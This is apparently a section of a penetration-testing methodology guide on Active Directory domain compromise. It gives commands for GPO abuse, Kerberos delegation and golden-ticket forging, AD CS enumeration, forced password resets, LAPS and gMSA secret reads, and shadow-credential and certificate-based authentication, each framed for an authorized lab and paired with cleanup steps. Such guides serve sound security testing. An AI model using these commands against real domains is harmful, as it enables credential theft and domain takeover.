9.6.4 Object Control, AD CS and Domain Compromise

Identify GPOs and links:

Get-DomainGPO
Get-DomainOU | Select-Object name,distinguishedname,gplink
Get-DomainObjectAcl -SearchBase 'CN=Policies,CN=System,DC=DOMAIN,DC=TLD' -ResolveGUIDs |
  Where-Object { $_.ActiveDirectoryRights -match 'GenericAll|GenericWrite|WriteDacl|WriteProperty' }

For a candidate, prove:

1. the controlled principal can edit both the directory object and relevant SYSVOL policy files;
2. the GPO is linked to the OU containing the intended test host/user;
3. security filtering and WMI filters include that subject;
4. the configured preference/task/script runs in the expected context; and
5. policy refresh or another predictable trigger will occur.

SharpGPOAbuse supports immediate-task/local-group techniques, but syntax is version-sensitive and the action changes domain policy. Inspect the installed build before a controlled lab action:

SharpGPOAbuse.exe --help
gpresult /r
gpupdate /force

Back up the GPO, restrict the target/scope, document the exact change and restore it after validation.

Enumerate before attempting any ticket operation:

Get-DomainComputer -Unconstrained | Select-Object dnshostname
Get-DomainUser -TrustedToAuth | Select-Object samaccountname
Get-DomainComputer -TrustedToAuth | Select-Object dnshostname
Get-DomainObject -LDAPFilter '(msDS-AllowedToDelegateTo=*)' -Properties samaccountname,msds-allowedtodelegateto

impacket-findDelegation 'DOMAIN/USER:PASSWORD' -dc-ip DC_IP

Constrained delegation/S4U requires control of the delegated account/key and an allowed SPN:

impacket-getST -spn ALLOWED_SPN -impersonate AUTHORIZED_TEST_USER \
  -dc-ip DC_IP 'DOMAIN/DELEGATED_USER:PASSWORD'
export KRB5CCNAME="$PWD/AUTHORIZED_TEST_USER.ccache"

Use the ticket only for the approved service/host. Unconstrained delegation can expose forwarded/cached tickets, but coercing authentication changes another host's behavior and is not a baseline. Validate only in a disposable authorized lab and protect ticket material.

9.6.4.3.1 Validate and use a resource-based delegation relationship Resource-based constrained delegation

Prerequisite: effective write control over the target computer's msDS-AllowedToActOnBehalfOfOtherIdentity plus control of a principal with an SPN (often a lab computer account).

impacket-addcomputer 'DOMAIN/USER:PASSWORD' -computer-name 'LABCOMPUTER$' \
  -computer-pass 'LAB_MACHINE_PASSWORD' -dc-host DC_HOST -dc-ip DC_IP

impacket-rbcd -delegate-from 'LABCOMPUTER$' -delegate-to 'TARGETCOMPUTER$' \
  -action write -dc-ip DC_IP 'DOMAIN/USER:PASSWORD'

impacket-getST -spn cifs/TARGET_HOST -impersonate AUTHORIZED_TEST_USER \
  -dc-ip DC_IP 'DOMAIN/LABCOMPUTER$:LAB_MACHINE_PASSWORD'

Cleanup after the lab objective:

impacket-rbcd -delegate-from 'LABCOMPUTER$' -delegate-to 'TARGETCOMPUTER$' \
  -action remove -dc-ip DC_IP 'DOMAIN/USER:PASSWORD'
impacket-addcomputer 'DOMAIN/USER:PASSWORD' -computer-name 'LABCOMPUTER$' \
  -delete -dc-ip DC_IP

Machine-account quota, computer-object rights, DNS/SPN naming and target service authorization are separate prerequisites.

Prerequisite: reachable CA/DC and a valid domain identity. Decisive output: a CA/template whose enabled state, enrollment rights and configuration satisfy a specific ESC path.

Package names vary:

command -v certipy-ad || command -v certipy
certipy-ad find -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
  -enabled -vulnerable -stdout

Review:

• CA name and host;
• template name and whether it is enabled/published;
• who can enroll;
• client-authentication EKUs/purpose;
• subject/SAN supply controls;
• manager approval/signature requirements;
• template owner and modification rights;
• web enrollment/relay-related configuration where relevant.

An ESC label is a candidate classification. Manually validate the properties and the controlled identity's effective rights.

Golden tickets require the domain SID and KRBTGT key. They are persistence/impact concepts, not a default Block 11 action. A forged ticket still depends on correct cryptographic material, realm, time and authorization. For the active service-scoped case, use Silver tickets.

Authorized isolated-lab examples:

# Golden: realm-wide TGT material
impacket-ticketer -nthash KRBTGT_NT_HASH -domain-sid DOMAIN_SID \
  -domain DOMAIN AUTHORIZED_TEST_USER

export KRB5CCNAME="$PWD/AUTHORIZED_TEST_USER.ccache"
klist

Use only against the approved service/host, record ticket metadata and remove generated credentials afterward. Domain recovery after KRBTGT exposure generally requires coordinated credential rotation and replication convergence; service-ticket exposure requires rotating the affected service/machine secret and reviewing access.

Use an authenticated LDAP context and the exact right on the target object. Start with a read. These writes are distinct alternatives selected by the observed ACL:

9.6.4.9.1 Inspect the target/group instead of assuming the relationship

# Inspect the target/group instead of assuming the relationship
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
  get object TARGET_OBJECT --attr distinguishedName,member,memberOf

9.6.4.9.2 Force-change-password right on this specific account

# Force-change-password right on this specific account
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
  set password TARGET_USER 'NEW_PASSWORD'

9.6.4.9.3 Write-members right on this specific group

# Write-members right on this specific group
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
  add groupMember TARGET_GROUP USER

Read: verify the actual attribute change and test the resulting identity/capability through a compatible service. Group changes do not automatically refresh an existing process token/ticket. Access denied → inspect the object DACL and protected-account context; authentication alone is insufficient. Account Operators membership does not imply control over protected administrator accounts/groups.

Sources: upstream 1.

Use when directory permissions grant access to the secret-bearing attribute. Being able to enumerate the computer or service account does not grant that read.

9.6.4.10.1 Classic LAPS: password for the relevant computer's local administrator

# Classic LAPS: password for the relevant computer's local administrator
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
  get object 'COMPUTER$' --attr ms-Mcs-AdmPwd

9.6.4.10.2 Windows LAPS: returned content/format depends on schema and protection

# Windows LAPS: returned content/format depends on schema and protection
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
  get object 'COMPUTER$' --attr msLAPS-Password

9.6.4.10.3 gMSA: inspect the allowed managed-password attribute

# gMSA: inspect the allowed managed-password attribute
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
  get object 'GMSA$' --attr msDS-ManagedPassword

Read: a LAPS value is scoped to the named host's local account. An encrypted Windows-LAPS value still needs the permitted decryption context. A gMSA blob/base64 string is not automatically a directly reusable NT hash: parse/decode it with a compatible gMSA tool before choosing authentication. Missing/denied attributes → distinguish schema, permissions and an empty value.

Sources: upstream 1 · upstream 2.

Use only with effective write access to the target's msDS-KeyCredentialLink, a DC supporting the required key-trust/PKINIT behavior, correct time/DNS and compatible certificates. Inspect existing values first.

9.6.4.11.1 python3 pywhisker.py -d DOMAIN -u USER -p 'PASSWORD' --dc-ip DC_IP \

python3 pywhisker.py -d DOMAIN -u USER -p 'PASSWORD' --dc-ip DC_IP \
  --target TARGET_USER --action list

9.6.4.11.2 Adds a new key credential and generates certificate material; record its DeviceID

# Adds a new key credential and generates certificate material; record its DeviceID
python3 pywhisker.py -d DOMAIN -u USER -p 'PASSWORD' --dc-ip DC_IP \
  --target TARGET_USER --action add --filename target-key

9.6.4.11.3 Use the generated PFX password; request the target principal's TGT

# Use the generated PFX password; request the target principal's TGT
python3 gettgtpkinit.py -cert-pfx target-key.pfx -pfx-pass 'PFX_PASSWORD' \
  -dc-ip DC_IP DOMAIN/TARGET_USER target.ccache
export KRB5CCNAME="$PWD/target.ccache"
klist

9.6.4.11.4 Optional NT-hash recovery from this PKINIT TGT; key is the printed AS-REP key

# Optional NT-hash recovery from this PKINIT TGT; key is the printed AS-REP key
python3 getnthash.py -key AS_REP_KEY -dc-ip DC_IP DOMAIN/TARGET_USER

9.6.4.11.5 Remove only the key credential you added; never clear unrelated original values

# Remove only the key credential you added; never clear unrelated original values
python3 pywhisker.py -d DOMAIN -u USER -p 'PASSWORD' --dc-ip DC_IP \
  --target TARGET_USER --action remove --device-id DEVICE_ID

Read: a successful attribute write does not yet establish a TGT or service authorization. Verify the cached principal and the intended service. PKINIT/certificate failure → inspect KDC support, mapping and trust; do not keep overwriting keys. Preserve the original state and remove only your added DeviceID after the test.

Sources: upstream 1 · upstream 2.

Use a certificate/private key mapped to an accepted AD identity with the necessary trust/EKU and a working LDAP TLS path. PKINIT and Schannel are different authentication paths: failure of one does not prove the other works or fails.

9.6.4.12.1 Extract PEM material from the relevant PFX; respond to password prompts

# Extract PEM material from the relevant PFX; respond to password prompts
openssl pkcs12 -in USER.pfx -clcerts -nokeys -out USER.crt
openssl pkcs12 -in USER.pfx -nocerts -nodes -out USER.key

9.6.4.12.2 First identify the principal accepted through the certificate

# First identify the principal accepted through the certificate
python3 passthecert.py -action whoami -crt USER.crt -key USER.key \
  -domain DOMAIN -dc-host DC_HOST -dc-ip DC_IP

9.6.4.12.3 Inspect operations in the LDAP shell before choosing an authorized write

# Inspect operations in the LDAP shell before choosing an authorized write
python3 passthecert.py -action ldap-shell -crt USER.crt -key USER.key \
  -domain DOMAIN -dc-host DC_HOST -dc-ip DC_IP

Read: successful binding proves that mapped identity's LDAP context, not domain administration. The same object ACL still governs group/password/delegation writes. Certificate trust/mapping, TLS policy or a missing private key can block this route. Do not weaken workstation-wide TLS settings to compensate for an unexplained failure.

Sources: upstream 1.

Use when the accepted directory identity has the managed-password read permission for the gMSA. NetExec selects LDAPS for this operation, so the DC's LDAP TLS path must work.

9.6.4.14.1 nxc ldap DC_IP -d DOMAIN -u USER -p 'PASSWORD' --gmsa

nxc ldap DC_IP -d DOMAIN -u USER -p 'PASSWORD' --gmsa

9.6.4.14.2 After identifying the returned service account and hash, test one relevant service

# After identifying the returned service account and hash, test one relevant service
nxc smb TARGET -d DOMAIN -u 'GMSA$' -H HASH --shares

Read: keep the exact service-account name and decoded NT hash together; an encoded msDS-ManagedPassword blob is a different representation. Authentication acceptance still does not prove administrative/remote-execution rights. Empty output → inspect object permissions, LDAPS, account type and collection errors before concluding that no gMSA path exists.

Sources: upstream 1.